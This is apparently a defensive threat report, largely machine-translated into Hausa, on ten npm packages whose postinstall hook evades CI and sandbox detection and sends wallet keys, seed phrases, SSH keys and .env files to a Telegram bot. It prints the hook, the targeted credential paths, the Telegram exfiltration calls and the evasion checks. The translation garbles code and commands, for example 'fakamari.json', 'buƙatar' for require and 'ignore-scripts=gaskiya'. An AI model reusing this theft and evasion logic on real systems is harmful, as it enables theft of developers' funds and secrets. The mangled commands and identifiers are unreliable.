TL, DR
A ranar 9 ga Yuni 2026, wani asusun mawallafi na npm guda ɗaya, aicrypto-xzggg, an aika fakiti goma tare da sunaye masu ɗanɗanon crypto da Web3 — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9, da kuma wasu shida.
Kowace fakiti tana gudanar da nauyin albashi iri ɗaya daga postinstall hook. On install, it checks
whether it is running inside CI or a sandbox — if not, it reads wallet keystores, seed-phrase files,
SSH keys, and .env files from across six blockchain ecosystems and transmits them to a
Telegram bot.
Alamar da mai kare zai iya nema nan take ita ce lambar Telegram bot id 8227918239.
Tsanani: m — direct theft of signing keys and recovery phrases from wuraren aiki na masu haɓaka.
Harin: Yadda Yake Aiki
Kunshin suna tallata kansu a matsayin kayan aikin haɓaka blockchain. fakamari.json yana da ƙarancin girma kuma yana nuna zagayowar rayuwar shigarwar a rubutun:
{
"name": "farming-tools-12",
"main": "src/index.js",
"scripts": { "postinstall": "node scripts/postinstall.js" },
"keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"],
"author": "Alex Smith",
"license": "MIT"
}rubutun/postinstall.js wani layi ne mai layi ɗaya wanda ke ɗaukar nauyin gaske: buƙatar(“../src/index.js”). Saboda postinstall yana aiki ta atomatik a lokacin npm shigarwa, babu buƙatar shigo da lambar daga mai haɓaka - sanya fakitin a cikin bishiyar dogaro ya isa don aiwatar da shi.
Sarkar kisa a ciki src/index.js matakai huɗu ne:
- Duba muhalli. Aikin tsaro yana yanke shawara ko mai masaukin ya yi kama da wakilin gini ko akwatin sandbox na bincike.
- Jinkiri. An jinkirta aiwatarwa a bayan wani saitaTimeout kusan daƙiƙa 7.4.
- Tarin. An yi tafiya a kan jerin walat, maɓalli, da hanyoyin fayil na sirri; fayilolin da ke akwai suna cikin layi.
- Fitar da ruwa. Ana aika fayilolin da aka yi layi zuwa bot ɗin Telegram, kafin a fara da saƙon taƙaitawa.
Jerin abubuwan da ake son tattarawa ya ƙunshi sarƙoƙi shida da kuma sirrin masu haɓaka manhaja. An rage:
~/.config/solana/id.json ~/.ethereum/keystore
~/.solana/keypair.json ~/.bitcoin/wallet.dat
~/.tron_wallet/keystore ~/.sui/sui_config/sui.keystore
~/.aptos/key.txt ~/.ssh/id_rsa , ~/.ssh/id_ed25519
./wallet.json ./keystore.json ./mnemonic.txt ./seed.txt
./seedphrase.txt ./recovery.txt ./private.key ./.env ./.env.localJimilla hanyoyi ashirin da ɗaya. Shigarwar kundin adireshi kamar ~/.ethereum/maɓallin keystore an faɗaɗa su kuma kowane fayil da ke ciki yana cikin layi. Fitarwar tana amfani da Telegram Bot API kai tsaye - a aika Saƙo kira tare da mai masaukin baki da kuma taƙaitaccen fayil, sannan a aikaTakarda loda sassa da yawa don kowane fayil:
rubutu
POST https://api.telegram.org/bot<token>/sendMessage
POST https://api.telegram.org/bot<token>/sendDocument (one per file)Saƙon taƙaitaccen bayani da lambar ta tattara ya fara ne da zaren zahiri MAI SATAR CRYPTO, sai sunan mai masauki, sunan mai amfani, sunan fakitin da ya samo asali, adadin fayiloli, da tambarin lokaci.
Me ke sabo a nan
Ba shine tsarin sata ba — Exfil daga npm na tushen Telegram postinstall hooks an tattake shi da kyau. Shi ne ƙofar aiwatarwa. Kafin yin wani abu, nauyin da aka ɗauka yana kiran aikin da ke dawowa gaskiya lokacin da mai masaukin baki ya yi kama da mai gudu na CI ko akwatin sandbox, kuma yana dawowa da wuri lokacin da ya yi:
rubutu
isTestEnvironment() is true when ANY of:
- env CI == "true" OR GITHUB_ACTIONS == "true" OR JENKINS_HOME set
- env NODE_ENV in {test, development}
- username/USER contains: runner, sandbox, test, docker,
jenkins, gitlab, travis, circleci
- hostname contains: sandbox, test, ci
- hostname matches /^[a-f0-9]{12}$/ (a container-id shape)Tsarin container-id regex shine sashin da aka fi sani: sunan mai masaukin baki mai haruffa 12 shine sifar da Docker ya sanya wa akwati, don haka nauyin da aka ɗauka yana ɗaukar "sunan mai masaukina yana kama da akwati na Docker" a matsayin dalilin da zai sa a bar shi ya huta. Idan aka haɗa shi da jinkirin daƙiƙa bakwai, ƙirar tana fifita aiki a kan ainihin wurin aiki na mai haɓakawa da kuma yin shiru a duk inda yake kama da bincike ta atomatik. Wannan ƙofar ita ce abin da ya danne siginar nazarin dynamic kuma ya kiyaye kwararar exfil mai tsauri a matsayin babban shaidar hukunci.
tafiyar lokaci
Duk goman sun bayyana a cikin kimanin mintuna saba'in, daidai da yadda aka buga rubutu guda ɗaya daga asusu ɗaya.
Alamomin Yarjejeniya
Alamomin hanyar sadarwa da ɗabi'a (an cire mai masaukin baki):
Fakiti da nau'ikan, kowannensu yana da SHA-256 nasa src/index.js nauyin biya (nauyin biyan kuɗi iri ɗaya ne a cikin aiki kuma ya bambanta ne kawai a cikin lakabin sunan fakitin da aka saka, don haka kowane hash ya bambanta):
Tambaya mai sauƙi ta farauta: bincika rajistan shiga da fayilolin makulli don kowane ɗaya daga cikin sunaye goma, kuma bincika zirga-zirgar waje don haɗi zuwa Telegram Bot API daga masu masaukin ginin ko masu haɓakawa waɗanda ba sa amfani da shi in ba haka ba.
Halayya da Ɗabi'un da Aka Lura
An buga dukkan fakiti goma ta asusun ɗaya, acrypto-xzggg, wanda imel ɗin da aka bayyana shine vipsyria88@gmail[.]comBa a tabbatar da adireshin imel da hanyar haɗin tushen ba a cikin bayanan rajista, kuma asusun yana da maki mara kyau sosai. Ba mu tabbatar da wanda ke gudanar da asusun ba.
Cikakkun bayanai guda biyu sun cancanci a raba su da duk wani da'awar asali. Na farko, fakamari.json marubuci karatun filin Alex Smith akan kowace fakiti, yayin da ainihin asusun bugawa shine acrypto-xzggg; filin marubucin an ayyana shi da kansa ta hanyar bayanai kuma ba ya kafa marubucin. Na biyu, lambobin sigar sun bambanta sosai - wasu membobi suna zaune a 1.0.0, wasu a 4.68.54 - wanda ya yi daidai da sake amfani da nauyin aiki guda ɗaya a cikin sunayen fakitin da aka ƙirƙira maimakon kiyaye ainihin tarihin fitarwa.
Halayyar ta kasance iri ɗaya a cikin rukunin: jerin hanyoyin da aka nufa iri ɗaya, lambar bot ɗin Telegram iri ɗaya da lambar hira iri ɗaya, ƙofar muhalli iri ɗaya, iri ɗaya MAI SATAR CRYPTO Alamar alama. Wannan daidaito shine mafi ƙarfi hanyar haɗi tsakanin fakitin. Siginar mai aiki iri ɗaya ce, ba asali ba.
Tasiri, Sauye-sauye & Jagora ga Masu Kare
Fuskar ta kasance ta zahiri. Mai haɓaka software wanda ya shigar da kowane ɗayan waɗannan fakitin a kan wurin aiki wanda ke ɗauke da walat ɗin software, fayil ɗin seed-phrase, ko maɓallin SSH yana sa a karanta kuma a aika waɗannan fayilolin daga mai masaukin baki cikin daƙiƙa kaɗan. Kalmomin dawo da bayanai da maɓallan sa hannu ba sa ƙarewa kamar yadda alamar zaman take yi; da zarar mnemonic.txt ko kuma Solana id.json Idan ya bar injin, kudaden da yake sarrafawa suna cikin haɗari har sai an motsa su. Haka kuma gudu ɗaya yana kamawa .env fayiloli, waɗanda ke ɗauke da maɓallan API da takaddun shaidar bayanai akai-akai.
Abubuwa biyu ne suka biyo bayan wannan rukunin. Na farko shine ci gaba da amfani da sunaye masu taken crypto da Web3 don jawo hankalin wasu masu sauraro - masu haɓaka waɗanda ke ajiye walat da maɓallai a kan injin da suka ɗora dogaro a kai. Na biyu shine girman gujewa sandbox a cikin nauyin lokacin shigarwa. Ƙofar da ke duba masu canjin yanayi na CI, sunayen masu amfani masu gudu, da sifar sunan mai masaukin Docker ƙoƙari ne na gangan don yin aiki daban-daban a ƙarƙashin bincike fiye da akan ainihin wurin aiki, kuma yana ɗaga sandar don gano abubuwa masu ƙarfi kawai.
Ga masu kare kai:
Shigarwa tare da an kashe rubutun ta hanyar tsoho. shigar npm –ignore-scripts, ko saita ignore-scripts=gaskiya in .npmrc, yana hana postinstall aiwatarwa; kunna rubutun kawai don takamaiman abubuwan da suka dogara da su da gaske.
Ajiye walat ɗin hannu da maɓallan hannu daga injinan gini da haɓakawa. Yi amfani da walat ɗin kayan aiki ko kuma mai masaukin sa hannu na musamman, wanda ba shi da dogaro.
Bi da .env, makullan ajiya, da fayilolin jumla iri a matsayin kayan ado na kambi. Bai kamata su taɓa zama a cikin kundin adireshi wanda shi ma wani abu ne na musamman ba. npm shigarwa itacen aiki.
Nemo hanyoyin haɗi zuwa Telegram Bot API daga CI da masu masaukin baki na masu haɓakawa. Yawancin yanayin gini ba sa taɓa kiransa; wanda ba zato ba tsammani ya faru, jim kaɗan bayan shigarwa, ya cancanci a bincika.
Manne da kuma bita kan abubuwan da suka dogara da su. Sabon fakiti mai sunan sirri na gama gari, postinstall ƙugiya, kuma babu hanyar haɗin ma'ajiyar da ta cancanci dubawa kafin ta shiga fayil ɗin makulli.
Sashen kaucewa kwantenar-id shi ma tunatarwa ne ga masu sharhi: nauyin da ake biya na lokacin shigarwa wanda ke tsayawa a cikin akwatin yashi ba shi da lahani, zaɓi ne. Bita mai tsauri na hanyar shigarwa ya kasance hanya mai aminci don ganin irin aikin da zai iya ƙin nunawa.
References
takardun shigarwa na npm - rubutun zagayowar rayuwa da –Salantar-rubutun- nassoshi don kashe shigarwa ta atomatik hooks.
